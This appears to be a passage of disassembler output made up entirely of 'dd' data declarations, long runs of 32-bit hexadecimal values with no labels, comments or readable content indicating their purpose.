		dd 0C5AA0406h, 83E04D72h, 421BC17Bh, 0CAB900A2h, 5913F58h
		dd 94C937EFh, 4B68C3A1h, 40CB6A16h, 0FFDC0C2Dh,	0C0E854C5h
		dd 88E956C1h, 0DABB05E6h, 0FE3D1859h, 0B7514F67h, 570935FBh
		dd 30367788h, 0D9B25Ch,	0EB686650h, 9A5CE97Eh, 0C2801617h
		dd 31CDB12Eh, 681A2403h, 530B3A04h, 6FEC5E5Ch, 9DC0D425h
		dd 70CEEC1h, 8F74DDE9h,	6090BE80h, 8A4A9FB9h, 0A4313B24h
		dd 0B400C726h, 0E9738252h, 0D2425453h, 351702EAh, 0D029BC0Fh
		dd 403013E1h, 149DB9B7h, 811DA000h, 7C1B44C9h, 2A38906Dh
		dd 0A3D62FABh, 8D84C938h, 0C6889A50h, 0EB80165Ah, 0B807FA13h
		dd 0E483EDB4h, 1AECD8B9h, 0C474F3E9h, 30D89501h, 27084EB7h
		dd 47561D2Ch, 121EBD70h, 0BCB48492h, 0EDB14AEAh, 127139A5h
		dd 5CF9E9C2h, 0AF5F136Ch, 0A63F62DDh, 0D82900ABh, 0DA33CE05h
		dd 0F651BD65h, 0EC4DF769h, 68F148A7h, 11122E99h, 0BED7A550h
		dd 0D7F448E4h, 8418F94Eh, 0A7BA5FFBh, 0ACF4CD8h, 8F010782h
		dd 1C79878h, 0EF31545Eh, 240FC6E9h, 4578DDCCh, 0B200774Fh
		dd 437B60B9h, 0FFECA039h, 0A1CE7E48h, 78407E6h,	0AD4C50E9h
		dd 97886C0Ch, 685809C7h, 681802DDh, 5135E955h, 90FA12F8h
		dd 70576A65h, 0E629DD5Ah, 5ED7C8CDh, 9299FC48h,	5F6010E5h
		dd 45601741h, 0EF674A2Fh, 940C3008h, 0F60091Bh,	587F2628h
		dd 73E91721h, 0D22EBCE3h, 27607CF5h, 9C68758Ch,	0F79B3C1Ch
		dd 40B918D6h, 0DE109776h, 9858908h, 0D4DE8A68h,	932AB28Ch
		dd 0C2F3AEAh, 0FA711725h, 0D468C261h, 0F0BC983Fh, 78A25C7Dh
		dd 9E1A8641h, 354E5E61h, 0C503923Ch, 0C39F7AAFh, 9A018D49h
		dd 7E507C10h, 7A3D9430h, 2BD4FD71h, 2FBB9E5h, 0F12C8483h
		dd 4FB9EB60h, 0EA6C9427h, 0C80809A6h, 818A53D3h, 0CC80E0B4h
		dd 4A30D87Ah, 0AC5D728h, 31623D7Ch, 0C7EEEDF5h,	2B561777h
		dd 4CE94F32h, 700CB92h,	8846A9Ch, 0C15BD880h, 2D0300E0h
		dd 44A92B10h, 305E64E9h, 0E2E508BCh, 0A8A39F10h, 0EB7D373Eh
		dd 46FB409Dh, 0E597572Bh, 0C0509629h, 0FAF0E23h, 83EBC12Fh
		dd 32681F8h, 7629E341h,	0F3D1053Dh, 63F2DC48h, 0AA2209B8h
		dd 0B8C305EFh, 0C1504C0Eh, 2318AFBh, 0B14CDD5Bh, 90195669h
		dd 9FFD7318h, 5C0944B6h, 1A4F8268h, 0D9D660ABh,	9E4C9F0Ch
		dd 0C2F07C97h, 0D3578CB7h, 1298A2F3h, 0E12A6850h, 6EE82EE9h
		dd 92FB40B6h, 43ACD40Bh, 0CC95A24h, 9188636h, 4A5BDA12h
		dd 16533101h, 0BA430866h, 8ABA94C8h, 92317C2Fh,	12EFE9D5h
		dd 0B9602731h, 8F8D0D7h, 0E71E5A35h, 0F96631F5h, 46254B6h
		dd 9FC75B18h, 54974862h, 7AF25A6Dh, 70B5D354h, 0C55DC9CEh
		dd 5AA94508h, 421C2A10h, 362E14C9h, 0E07100Eh, 39A6805h
		dd 6C8F81CCh, 0CD3101C8h, 0BE0161DCh, 16D48300h, 25D96D1Dh
		dd 0EC492BFBh, 0AA7A3063h, 208D2414h, 0EF550024h, 5F21DF72h
		dd 1336E49Fh, 0E2010803h, 0F92514F6h, 650ADEE5h, 0CA82A541h
		dd 77724B8Fh, 0FFED9900h, 892FBF7Ah, 0ACA271D5h, 1D030014h
		dd 295E42FCh, 0DDA8F04Bh, 4405E8B1h, 51350413h,	0C2300593h
		dd 0BEECF1C9h, 0E16B2E2h, 7F014AB4h, 3785CB4Fh,	548ED2AEh
		dd 783A9C2h, 0AD022F17h, 3A0113E3h, 63AD4048h, 0A2F782ECh
		dd 0EDFFCDh, 0F5805CB5h, 0CC7CD97Ah, 2DB5A097h,	0E51679B2h
		dd 57750F81h, 2C095B0Fh, 17491000h, 0CF29BB4Fh,	0AB26C26Ah
		dd 0CA3A1BD5h, 5BC4834h, 503D198Ah, 3BC0B060h, 98AB3D12h
		dd 1B176F48h, 0F68129EEh, 3F7C9DE9h, 4F7C027h, 79BC5E8Eh
		dd 4DDF617h, 27E18C5h, 0A9C63CE9h, 517300A3h, 0E6585C52h
		dd 42275CB2h, 32209727h, 0E78C0FD5h, 9127A29Ch,	813E5A19h
		dd 0B7210E6Eh, 41BF3C64h, 42850FDAh, 118A0F35h,	87862A84h
		dd 32A8E280h, 0FDFED6EAh, 8A48714Eh, 0AA4A2E06h, 3080C3Ah
		dd 27CCB17h, 46717B66h,	6D390F00h, 0A049B444h, 140CD008h
		dd 6AB85003h, 2D88231Fh, 0A50901F1h, 0FA22E972h, 99F30574h
		dd 0AF60763Eh, 0B6E31104h, 81B721FBh, 620EA5A6h, 0E2D17D64h
		dd 68575180h, 541F0E8Eh, 97291626h, 19CF35C0h, 5B4D5313h
		dd 68008CEFh, 7325209h,	20E07A76h, 0BA3DE59Bh, 5B839235h
		dd 0AB6613EEh, 1FA6A681h, 9E588934h, 9A405290h,	5A061E32h
		dd 3635580Bh, 459B20Dh,	9D300E05h, 0A710FA45h, 34E93F07h
		dd 80FFEB99h, 5770CC4h,	76134Ch, 805DB1CEh, 0C98F0F4Bh
		dd 0DE4B01CAh, 7D818BC9h, 89C6006Ah, 80210C71h,	50082EE6h
		dd 0AC9C4967h, 956E5404h, 0CB825659h, 54205DE8h, 9F63B7C2h
		dd 95BA5200h, 29112569h, 0EB8CC0D3h, 6C8F6F5Ch,	883F5A4h
		dd 6B170C41h, 77C516F2h, 0DCE6ACD6h, 618C71EFh,	637E3A68h
		dd 5C787863h, 136277B4h, 0E9BC411Ah, 407AC2F1h,	42FFE2A4h
		dd 9EF81209h, 5C2D6F9Ch, 80570072h, 890F60F6h, 7A49FD24h
		dd 0E97ECE81h, 4364CCC6h, 0E0380066h, 64055346h, 71584120h
		dd 0FB6126D0h, 92D881BDh, 0D0E9E8BBh, 5ED5002Eh, 875FFA21h
		dd 0D6F7F216h, 8A0609EFh, 4E5EB6E6h, 444BF11Fh,	443CFCE6h
		dd 876F8253h, 272D3306h, 0DFA0E601h, 4EE319EAh,	0BD604D96h
		dd 2D3559AEh, 7C784D54h, 32C1F678h, 124872Dh, 6015E17Eh
		dd 0FD830589h, 9F3CFF38h, 0EE67E232h, 890C5F93h, 0B811DAh
		dd 66C560BBh, 0F113840Dh, 35482102h, 41252B0Fh,	79D06475h
		dd 5ABECE36h, 81853D89h, 94CED7ABh, 0C8E99788h,	0E8A542Fh
		dd 2D1C35CDh, 664A1314h, 8428CCC2h, 17888A97h, 0EEC02C02h
		dd 2D630878h, 0BE5EC425h, 23D88B47h, 8BE28F51h,	6259771Ch
		dd 17A8BCECh, 0FE418338h, 6B7A0D00h, 94F76210h,	0D7D60293h
		dd 95FBFFFh, 0E8477D02h, 0A21FC78Bh, 7F57CE09h,	209D969Ch
		dd 513106E2h, 564901Dh,	554B56E7h, 54A18536h, 50185D64h
		dd 0A9EAAFA5h, 4660DCF2h, 0B539800Ch, 0F18B09B1h, 4ED85B5Dh
		dd 26930F18h, 5350Ch, 0CB31195Ch, 6C685159h, 36C84714h
		dd 0EB0216C0h, 61C305C2h, 0F93BEF9Ah, 0E2EA86F3h, 5AD53CADh
		dd 0D9620A3Eh, 2C2C1133h, 0ECBD0455h, 0C3544D12h, 1C4E3C27h
		dd 0FEFB53AFh, 56BCB725h, 29317020h, 0C43A56D0h, 60141334h
		dd 2F7E95Ch, 0D74F791Bh, 911BFC7h, 0CB3E1C6Fh, 0E496108Fh
		dd 0C49E8149h, 0BB015157h, 680AA1E7h, 8C5E364Dh, 51FB7AE9h
		dd 0E24CFE30h, 0EE5C059h, 0EC58005h, 1ED6E80Ch,	2551B881h
		dd 85967CA8h, 0B9E053D3h, 114EC6DCh, 5B7C86h, 51942C92h
		dd 0D9F6FDB1h, 1EE904C3h, 0C2F502AAh, 320B1570h, 464CEE80h
		dd 0CC368B0h, 0E5B101F7h, 0E7F005C4h, 0C8D1F449h, 3F24EE3Eh
		dd 1C03960Ch, 0A4009F09h, 0C750E7C5h, 0F5071690h, 39F00D53h
		dd 0E5B3EDC0h, 0A19A5A79h, 0D03E2806h, 85EE25D0h, 0D9FA58E9h
		dd 0F529433Dh, 2969A0F0h, 8136F0B5h, 0F0715B08h, 2123CB6Fh
		dd 2F40281Ch, 6B591E58h, 0F980ED92h, 0A0815D5Fh, 90DD2EEh
		dd 0A2685B0Eh, 0BA544FDh, 0D0B4E957h, 0F08A71D1h, 0A7409E8Ch
		dd 0BF7AB14Eh, 2BB7AEE8h, 2DB425B5h, 0C6C5D1FBh, 0E41F3005h
		dd 0D35C8082h, 9D0ED060h, 85E54BC0h, 50A1331Eh,	2E9CD514h
		dd 0DA09F77Ah, 89030E09h, 0A530FF73h, 2921B88h,	5450FC20h
		dd 0CEDC029h, 28B52F40h, 1202CAA0h, 0A7E97C66h,	261E5A16h
		dd 0AF916D58h, 86C6D742h
		dd 2628310Fh, 84697DB7h, 981CE017h, 0C29E766Dh,	0D2F932A8h
		dd 0FA3BB18Ch, 83C09D31h, 3913B9C3h, 80EB3F32h,	16F7CB51h
		dd 0E93B6BE2h, 0D6E84F2Bh, 3890BBD3h, 3D7B742Dh, 0C4275DB9h
		dd 52402A62h, 0CC7F7124h, 0E00BC7ECh, 89DBF7DFh, 0A9868A69h
		dd 0C959088Ch, 231309C1h, 0EEE35475h, 5DC39BC3h, 582FEE16h
		dd 9DB1648Ch, 0EF759609h, 0BD5C9314h, 60258411h, 0D9571E5Ah
		dd 0D9A13CBCh, 4807E069h, 2025B8DCh, 284C79FFh,	0E7375A73h
		dd 0E844031Bh, 60BFA52Ch, 5BB551B0h, 61E58002h,	74F255E9h
		dd 488A502Ch, 48D50153h, 9A1525B9h, 5904C031h, 164B9EDh
		dd 0EB96BFC7h, 25E13F82h, 17427D09h, 2769F450h,	0E70AB2FAh
		dd 4E0D5F2Fh, 6C027E69h, 2D066F54h, 0EF01475Fh,	5D088136h
		dd 0F1F5FC2Eh, 418239ACh, 602026CDh, 31B86057h,	3E98345Ch
		dd 9AE8000Ch, 75D9E94Bh, 0A6DDF9B5h, 73B00FE0h,	0E8B22113h
		dd 95E7BE4Ch, 85FC2D8Bh, 0CAFB9957h, 15D35174h,	3590AECCh
		dd 5ABA0E38h, 84D5A036h, 6C400C0Ah, 510105BBh, 806352B9h
		dd 9F646C20h, 0DE81F989h, 34058C0Fh, 0F20681F3h, 1DAC4504h
		dd 71BD2A18h, 0F3A334D8h, 0B645C0F5h, 2AB0175Fh, 8C0A9D0Ch
		dd 30D8402h, 0E92EDA56h, 2E5AF78Bh, 0CA158EE6h,	0EC5F6E35h
		dd 0FA37842Ch, 55566603h, 2A7ABD98h, 0E9179895h, 7825499Ch
		dd 0E1621E0h, 0F30C5E60h, 90CC58ECh, 57A709C8h,	0DFD7248h
		dd 13B78F6h, 1A3D6CEDh,	0F8C4010h, 908CAC4h, 16F20E9h
		dd 804FB753h, 0D60670CFh, 416AE141h, 38A22AD3h,	7DFD28ECh
		dd 4CF334Dh, 0F3A43E2h,	70BD194h, 6B6EC55Bh, 0FD90987Eh
		dd 20EB7770h, 0D12EEC94h, 0CF01B9EAh, 92578803h, 959EDBF8h
		dd 18D97CA1h, 0B4942A1Dh, 49ACA880h, 10D3B66h, 1F117948h
		dd 8DF50256h, 622CE210h, 0EDEC48EAh, 7BFC05E6h,	12EA291Fh
		dd 42798093h, 3AFB800Fh, 6FF24040h, 5490266h, 315AD689h
		dd 48EBCF3h, 4B6E4852h,	29300DFAh, 940B0757h, 3039FF55h
		dd 589D2A7Fh, 986220A7h, 0B354B71h, 0F495519h, 0BB4B2F8Ch
		dd 5AF5C0DBh, 5EF73929h, 5EF4F8BDh, 3EA9A3FCh, 6BE59605h
		dd 6F1120FFh, 42615406h, 9E680812h, 0E678C126h,	37562D19h
		dd 140B57D8h, 471751Ch,	0AEC23E87h, 327E005h, 21232D3Bh
		dd 0FAD1EB62h, 2CAA3444h, 0D27268D0h, 0E9010904h, 6EEC5106h
		dd 5320AE92h, 0B1398668h, 0E9548462h, 4835AC98h, 0AA2A7755h
		dd 6AFE87ACh, 569EF699h, 652BAE42h, 0EE0C4040h,	0DCB90161h
		dd 0E9F18907h, 0EB003FE1h, 571AE2BEh, 0B4681331h, 0CC2A8C4Dh
		dd 49467414h, 505F27A7h, 69AE2A68h, 8B4C2CBAh, 18FD9FEBh
		dd 17BE0FA6h, 6D76380Fh, 0FA7F6E4Eh, 6848B16h, 480EE7D2h
		dd 0CE142E43h, 880A0764h, 819D137Fh, 84D652F3h,	3EC96E9Ch
		dd 0CD5FDD5h, 0E6E18E38h, 0E07A0D03h, 5C708D2Dh, 9460F48h
		dd 543C648Bh, 0C4CC175Ah, 0EFB2FEC0h, 94000448h, 812E8075h
		dd 2F1220F1h, 0E50776ACh, 0F2FE09E7h, 29E105BEh, 5A8498DEh
		dd 0B7989697h, 0D488AF79h, 935E1DDEh, 28C0B17Ah, 4FBA577h
		dd 0AC7E536Dh, 43AEC033h, 0D2576679h, 0BFEBC548h, 265A58C1h
		dd 0F07EBC7Ch, 442D04BFh, 0AF31CDE9h, 5418A6CAh, 86E9AA24h
		dd 890C05Eh, 4FA67DC9h,	9432EA69h, 0C0EF00CFh, 414CC67Fh
		dd 12F73EA9h, 9EA1DA20h, 0BFA43D7Ch, 461E0C09h,	0FCC62240h
		dd 7471F307h, 12B5286Bh, 0D55C8049h, 51F48214h,	7F8B13BBh
		dd 0B7F6C4AFh, 5857D232h, 0AF2555DBh, 0D2405E21h, 2F4FE4E2h
		dd 1A7437F2h, 790577BBh, 0D729AC17h, 58F78309h,	2A32B0B2h
		dd 955C5B78h, 10690451h, 15DC1Eh, 0EA812585h, 715554CEh
		dd 4CD42D0Eh, 0F6E92239h, 0B9637489h, 88046220h, 0C5285AF0h
		dd 0C48BF1B8h, 0D2D204D5h, 0FE2D016h, 6E50765Dh, 4D40E4A6h
		dd 8B514B66h, 51232C73h, 0A3B14D04h, 0E26C382h,	91A191A9h
		dd 3F4BDBF7h, 1479D4E0h, 0C4212247h, 0C40E7D03h, 1ADAE9D5h
		dd 64F0AD4h, 0B73A25CBh, 20BBAB60h, 0A728A328h,	67141A0Bh
		dd 2F350070h, 9563846Ch, 0F56B46C4h, 0A0147746h, 0B97F0FCh
		dd 0D93CFF0Eh, 40B85002h, 0DD7D7853h, 8F5D150Ah, 2DC0F598h
		dd 1C0F4906h, 91FCE910h, 780CBF3Ch, 25921D68h, 32744702h
		dd 0DCBAB5E9h, 309B8273h, 73402DE2h, 2E04A419h,	0C509E979h
		dd 81DC0513h, 60A181EBh, 5E5CA57Ah, 0CBBD0181h,	42464D2Fh
		dd 0C46EA89h, 4DACBABBh, 9E02F64h, 0A1EB5C83h, 30AE33Dh
		dd 0CE50780h, 0C2350B9Ch, 2E47153Ch, 8F04AD74h,	68040133h
		dd 0D25009Fh, 90A6348h,	182D8B0Fh, 792EC56h, 0DD805913h
		dd 0B252C388h, 14112C64h, 0D98A06D2h, 6BE38F5Ah, 0CF7FFB44h
		dd 0EB015D00h, 60B0F02Ch, 6E73DC09h, 1CB17722h,	0FFD1A518h
		dd 7F68ED22h, 253E89D9h, 0FE95465Bh, 0BB474A5Eh, 0B37E0169h
		dd 0DB35C518h, 2A1272FDh, 1A0DCA6Bh, 7FB90C80h,	5B5FE352h
		dd 0CB135DA9h, 0E0602679h, 0C011FB2Ch, 772A9700h, 98FD0131h
		dd 0E90880F8h, 0DC844A23h, 0F90B01AAh, 305B4A68h, 30060976h
		dd 5F1E7FFBh, 6C502BE9h, 7040B456h, 0B3D33BB9h,	0F1F096B0h
		dd 6A09E479h, 945E952h,	0AFD9E5A1h, 4F2ED5F2h, 3410103Ah
		dd 0A8CA4E72h, 8631E4D0h, 5B03B962h, 11275B1h, 0BA71D1F7h
		dd 16460B30h, 80D92955h, 0D8A0436Fh, 4E8B14Ch, 5D742E6Fh
		dd 1290EBFh, 0B061073h,	8A654Ah, 9E201FC2h, 350F407Ah
		dd 0E09B51BEh, 8B2A120Dh, 7852C165h, 7E40C46Fh,	5D3020E0h
		dd 681CB709h, 2606914h,	0BD965AEh, 28E0257h, 0E2BA04B0h
		dd 1041483Ch, 800B7D92h, 257F40F6h, 30C2C7B7h, 59000B2Ch
		dd 7E6D1C11h, 9595D25h,	56D4DE70h, 0C160CCF0h, 1C6CF11Dh
		dd 0E0B6A392h, 5F7F2655h, 1B60D070h, 7AE91DE5h,	1A22DE04h
		dd 0DA814BBBh, 4C129057h, 6B3A953Ch, 14974EF5h,	0F8137EE9h
		dd 4C100B81h, 72C4F63Ah, 44EBD281h, 0B0A2EB0Ch,	8A72E9F0h
		dd 0DEE466A0h, 8945A20Ah, 0A43C89CEh, 7E42AE5Eh, 0F553073Dh
		dd 6684FEEBh, 5F215922h, 1C363E44h, 4FBA6718h, 97028662h
		dd 340D681Ch, 0B01C5727h, 0CDACE91Ch, 2FB84A38h, 0A1E921F1h
		dd 6804406Bh, 65BE0BF6h, 5D650199h, 6A30DC46h, 54405DF1h
		dd 5AD828B7h, 874EF062h, 6848B173h, 924B3808h, 69FC0619h
		dd 9A395017h, 56C5015Eh, 4DE9B598h, 0D8BB13DFh,	744D9DC2h
		dd 3A5D08C6h, 7BBF81BEh, 1420540Eh, 0F1841F45h,	0AECD92ABh
		dd 9C1AD2Ch, 50E676B9h,	83D28F5h, 0DDAB5D12h, 44E23FEBh
		dd 0A288FE93h, 5F34073h, 0A687109h, 0C28E5DB9h,	7A254668h
		dd 808A2AF6h, 18037909h, 0EB613D85h, 68358A7h, 64F080AFh
		dd 5063D5Ch, 5BF11713h,	0D915205Bh, 1C88BF00h, 0FA0928F0h
		dd 83A1B85Fh, 0F8AA98C9h, 0E918129Bh, 5A3EC25Bh, 0D0B3670h
		dd 7C722322h, 0F7CC2DD1h, 14B8829Dh, 3BDC0B19h,	0C568E184h
		dd 4AECF2BFh, 0FE43D2E0h, 0FDC05BF4h, 0E3EC0424h, 0CC85E188h
		dd 20CAD95h, 48D6E149h,	809E8B8Fh, 0F4B7F7Ch, 0D25BE780h
		dd 44F46043h, 0A0E9887Eh, 0D06EBF23h, 72AEDC9Dh, 19689921h
		dd 0F0DA2F62h, 0B9CEE916h, 0D9C7022Fh, 0DD0C1D3Bh, 5EF5705h
		dd 0D14FE908h, 60D8315Ch, 585BC3A3h, 0DA9615B9h, 8F5C1E0Eh
		dd 54E55464h, 0DEE28D82h, 0EA59134Eh, 1352C828h, 0B3627C68h
		dd 3440B9Dh, 0D32D501h,	0E9E132F6h, 412E37BFh, 2C02B6Eh
		dd 0F92435F1h, 1FB0687Ah
		dd 6DC92DADh, 4016400Ch, 688D2F13h, 85855989h, 1463EC4Ch
		dd 12E4EFC0h, 4E179AF7h, 0C7E4C1F5h, 4A3B90D6h,	2DEFFDF9h
		dd 54B29152h, 0B26A01E7h, 66D02833h, 0BAF93E5Ah, 0A5E7677Eh
		dd 0C634F1E2h, 0A2043A7Ah, 0BC2B502h, 0C0A04A5Eh, 4E6C8204h
		dd 44F984B9h, 0AF502C89h, 33511098h, 6078E6B1h,	6EF4A11Eh
		dd 278E7109h, 1B21AC3Bh, 3AEC5927h, 40BDAAA4h, 0F201D85Eh
		dd 48E9A012h, 13DA1324h, 0EE3B821h, 896B71E3h, 6C63837Eh
		dd 504FEA49h, 0E9510C14h, 0F2CB2726h, 0A419350Bh, 24605764h
		dd 0E97629DBh, 42F4F14Bh, 4E16F062h, 7DE8CB67h,	0FB0C8D25h
		dd 2088E8E3h, 68583C07h, 3051D1CEh, 0AC273E24h,	5702B5D0h
		dd 0B206FA71h, 4BB025D3h, 0D6AF8AD5h, 0EC0AD912h, 0A640C5E1h
		dd 984D2E72h, 93C42D4Bh, 62892F90h, 0B41080E9h,	685358B0h
		dd 116A12ECh, 0EB390864h, 6B88BE01h, 18E86F2Dh,	0AA6697A0h
		dd 7DD8ECC1h, 0C42A27D5h, 0AC071225h, 2EC35132h, 7724E11Dh
		dd 6FB11C93h, 2B99D92Ah, 96503BF4h, 0E4F38B7Bh,	0ABA8075Eh
		dd 9D7E4B22h, 0F392BA45h, 55035895h, 9711614Ah,	1C9205C4h
		dd 54205F21h, 1580420Ch, 25B8B9A3h, 28B743E3h, 782D084Ch
		dd 0B4E59F5Bh, 5CAF9626h, 0F8FCCBA9h, 0F3023CCAh, 89269942h
		dd 81B974D1h, 0AA7AF0CBh, 0F2E0203Fh, 9FB7F39h,	565974E9h
		dd 705571FFh, 46013EFEh, 0FEBD4E49h, 7DCA1351h,	0DDF7B4E0h
		dd 0AC8B0F3Dh, 0ED8033C6h, 0F5814D07h, 662700A9h, 46F9BD0Ah
		dd 0E92439CAh, 2FA7BC52h, 626E2B38h, 45005BDBh,	3A2DFA29h
		dd 163DDF30h, 0B41EF62h, 0C4DA21A7h, 27E17AEFh,	0BC641DECh
		dd 41EF6803h, 53549D68h, 57FEB872h, 53F80102h, 0A0E142E9h
		dd 1727EF99h, 272B7BA1h, 0D3FE3692h, 8DF899C4h,	36F5726h
		dd 5F2BBF1Ch, 0E96933E2h, 0CF08305Ah, 2970E441h, 0F5440FF1h
		dd 2AAD4AC4h, 43E33A29h, 6F43055Fh, 0DF954BECh,	8041107Dh
		dd 0F6771EC5h, 0F0F597D5h, 78392D62h, 0DE1A2739h, 0C4C9138Fh
		dd 2E82EEABh, 0E851575Eh, 0CAE18013h, 0ADBE646Bh, 76DF8608h
		dd 0EE88270Ah, 82594E85h, 5057CFCAh, 0A42BEBA4h, 4A4137AFh
		dd 0D6501C7Ch, 385C81E5h, 0D56685F3h, 81AF24EFh, 0F5236Bh
		dd 90C3835Dh, 0D7942203h, 0ED2E41F0h, 9A1CCA77h, 95EC9060h
		dd 7E6B6579h, 0DD3318B8h, 5281B24Ch, 0FBCA770h,	4F19DF30h
		dd 0FC763BA9h, 4FB42AC5h, 0AC9840EFh, 997A8ECh,	6880B0E8h
		dd 997AEDEDh, 86E96A9Fh, 0AAC852B5h, 15B0C845h,	4EB3D53h
		dd 0D8E28CDFh, 261FF3D1h, 0FE597319h, 0B9C7404Dh, 0A65588A6h
		dd 1DFD5480h, 224B7CF4h, 0C305A90Bh, 1FC09A3h, 3E5C9E81h
		dd 5F0D02Ah, 0A7490EE9h, 0B4BC4004h, 0F58BBE05h, 13BEDF89h
		dd 0F69EA4Ah, 0EE040FC1h, 0CA29E792h, 0B4C3DFC8h, 43E282h
		dd 4A7C2D0h, 7EB1C04Fh,	0EADD5AD1h, 863CE2D6h, 95C36245h
		dd 0D7B091F8h, 71C12145h, 812E8704h, 2E7C826Ah,	4DB52E80h
		dd 354F0E34h, 0BB70510h, 0EA5FC14Ah, 5EC987EAh,	9471BE72h
		dd 0F735675Eh, 4AEB6F50h, 0FE568E24h, 25689FB4h, 0E31854D2h
		dd 775B7D6Ah, 0D8960585h, 0B9009502h, 104662C9h, 0B7C6435Bh
		dd 9E730522h, 0BE01A29Ch, 0D38BA012h, 23A9E908h, 0A11CEB92h
		dd 0C32875C5h, 0F651AB0Bh, 45792FF7h, 5B5FC80h,	24E9DD30h
		dd 87C2DC13h, 3AF65AD4h, 0FCBB209Ch, 25015A32h,	0B3A4D53Bh
		dd 144A7638h, 2A4E79BEh, 0F697554Bh, 0B905123Dh, 5650DA02h
		dd 22E94105h, 557F3643h, 35C33A72h, 4747419Bh, 13A56BE5h
		dd 0F52DBF5Eh, 42E1DE03h, 0AECDF53Bh, 58932AEBh, 0B2398880h
		dd 0B56395E3h, 0BBD6CDE2h, 1A057B5Ah, 0A5419536h, 2A3335E0h
		dd 1AF1FD00h, 9F83D282h, 0CC166BDEh, 15B8A357h,	84393E06h
		dd 0E9186541h, 0C361B301h, 0AF4F1A3Ch, 86D8D84Ch, 0F432FF27h
		dd 7254075h, 3063F844h,	0BF3504DEh, 49020F32h, 173AD856h
		dd 9429AB5Bh, 105DB67Ah, 984016BDh, 15B9667h, 0D239AD0Dh
		dd 0E579E828h, 0FB2445E1h, 0A982CFD4h, 625B07FCh, 0A0751012h
		dd 5177BC5Fh, 12AB830h,	1B4B5C60h, 2F32870Fh, 0D7B7AAD1h
		dd 0F1400B89h, 563FBA75h, 0D28C4338h, 79C01E3Bh, 52055990h
		dd 0E2D0F0B2h, 0FB9DD8C1h, 8C2C003h, 216F0561h,	33D52656h
		dd 96B5AC30h, 0EB5E582Ah, 0BE510113h, 0C3E9B173h, 0BB24004Bh
		dd 4E585650h, 5B4FDF21h, 0C17CAD1Ch, 3EA15F60h,	3ADC9030h
		dd 0C548802Fh, 7D0CA5EBh, 38895F96h, 78F2FC51h,	0E02C24BDh
		dd 0C45895BAh, 2062F893h, 87A2BD80h, 0EFDD93A4h, 601C10C3h
		dd 1A5F4112h, 55A29F26h, 0ACA2078Eh, 7174B3E7h,	23664C3h
		dd 50ABF5A9h, 0CB404B5Ah, 0D3006D3h, 6A4F180Ch,	0A6148A1h
		dd 79BCAE20h, 1010BD4Ah, 46C70813h, 9671F7BDh, 6A5D027Fh
		dd 0A90525BEh, 0D38080B4h, 0B763471Ah, 0C73AB9F2h, 27D6125Dh
		dd 0EE26E8ACh, 762C8994h, 3F689D68h, 0C943549Fh, 2442014h
		dd 1668135Ch, 0B1A4310Fh, 3BBD7559h, 4E3740F4h,	7B2DB7D6h
		dd 0D482A127h, 1290CE6Dh, 66F89C90h, 0BAFD92C4h, 58685821h
		dd 0E90B5E76h, 0A648DD38h, 0A53D4667h, 85F7AD26h, 4CF959C3h
		dd 2A5F09E1h, 193CE8DDh, 19FFA610h, 0D85C5B54h,	0E92C83D7h
		dd 7FC2DF43h, 0CB4F25D9h, 64BF0941h, 0AD1E4EA7h, 0A7523F2Ah
		dd 5F64E0C2h, 0BF3FD355h, 0E90B7C8Fh, 5B68D6F0h, 0F255C8Eh
		dd 0C7BB491Ch, 13E5C021h, 6A2C9CF9h, 61F36809h,	9E609F7h
		dd 6978470h, 4E6C102h, 0EA66C5Dh, 42C05FC6h, 547A214Bh
		dd 0DBD5E916h, 0BB7A61AFh, 44982BE1h, 5D8B051h,	31352EBAh
		dd 629DBA05h, 0A9A04696h, 62AED34Eh, 5DB8DBh, 2E685794h
		dd 4FE9AC7Eh, 0C8FCC679h, 0B6596BBEh, 9BF18960h, 814D2433h
		dd 3B18E96Dh, 0ABD92F01h, 9B06824h, 881B3411h, 3C6C45DDh
		dd 490BFD3Dh, 5CA2862Ch, 0C123A4B1h, 76CAC244h,	0CCFE0050h
		dd 0E4118E0Fh, 69FAD5A8h, 8AF42BC4h, 0BD3A5B87h, 0C32DFBA0h
		dd 57293917h, 0FEDE8361h, 0E04BCF39h, 0E82970A3h, 3E5B8FB9h
		dd 553FD48Eh, 0F861DD92h, 4B4CC139h, 10203E76h,	642D02E1h
		dd 0C6E908BEh, 53524248h, 8860B307h, 0D5305BDAh, 568665Ah
		dd 92E90AC8h, 29473011h, 749F5FFAh, 0A8026B5Fh,	0C40FA8FCh
		dd 3EC1C383h, 667B52AAh, 0F7302845h, 1EC7F9F4h,	25DE3D7Ch
		dd 16FA709Ah, 0AD3B45DDh, 3D097397h, 0A19E5FA5h, 5764C496h
		dd 6361BFCCh, 2CC1352Eh, 0EC736AC9h, 95BEB93Ah,	994DC9A0h
		dd 4513E7Ch, 0D1162D5h,	9C108A0h, 3BF934D2h, 3CEA697Dh
		dd 0BF42A5C8h, 45F70D42h, 5D229261h, 0DFC14B46h, 5F0E3A77h
		dd 685C57FAh, 0C4D54F95h, 590EE0h, 0DF121F2Dh, 5D80177h
		dd 685B07A0h, 0E667E72Dh, 2F840C44h, 66BA787Fh,	0E30B2938h
		dd 0A36803AAh, 745D131Dh, 921CFC2Dh, 99BE1009h,	0BF795E65h
		dd 33154318h, 69B5287Fh, 882D4F2Bh, 0A85A5749h,	0E9DAF08Fh
		dd 0AC784C30h, 836BBC8Eh, 1DBD782Ah, 0E204EF60h, 199C0005h
		dd 13093972h, 0B198E9D9h, 0BEF73E23h, 8C8CF115h, 64BDE45Eh
		dd 0CF248F94h, 82A67325h, 0DED5C93h, 7370205Fh,	2075E55Eh
		dd 28D07401h, 13289A0Ch, 605BDA1Ch, 0E458773h, 4825144Dh
		dd 0E07B8147h, 55C061F5h, 0F22D4007h, 646BC165h, 580243D7h
		dd 0B9891D9h, 542F0AE9h, 25C283A6h, 69C769FCh, 16087308h
		dd 88E085Dh, 54F0E122h,	0D057B461h, 9EE41504h, 95D292DEh
		dd 21F23B78h, 9470C12h
		dd 55E83E81h, 77E29C52h, 0D0F2EFAh, 653DC45Bh, 0CEEB2334h
		dd 0DCF14F40h, 176B47Fh, 1524C0A4h, 5B651609h, 4231D8BFh
		dd 0EB3F6662h, 28D2E808h, 0F6A0778h, 8E53182h, 42CFF301h
		dd 146E4B33h, 850000FFh, 0F78E12Eh, 0CA6F6383h,	687E812Bh
		dd 8AF14E48h, 5378A2C5h, 91D02CC5h, 8C19E37Ah, 0BBDA0A3h
		dd 0F60E4E20h, 0B95A7FA7h, 0BF1B7A4h, 0F48B0711h, 0C45AEAF6h
		dd 2BACB8h, 0A872412Dh,	5391055Eh, 13E30ECh, 0F20751F0h
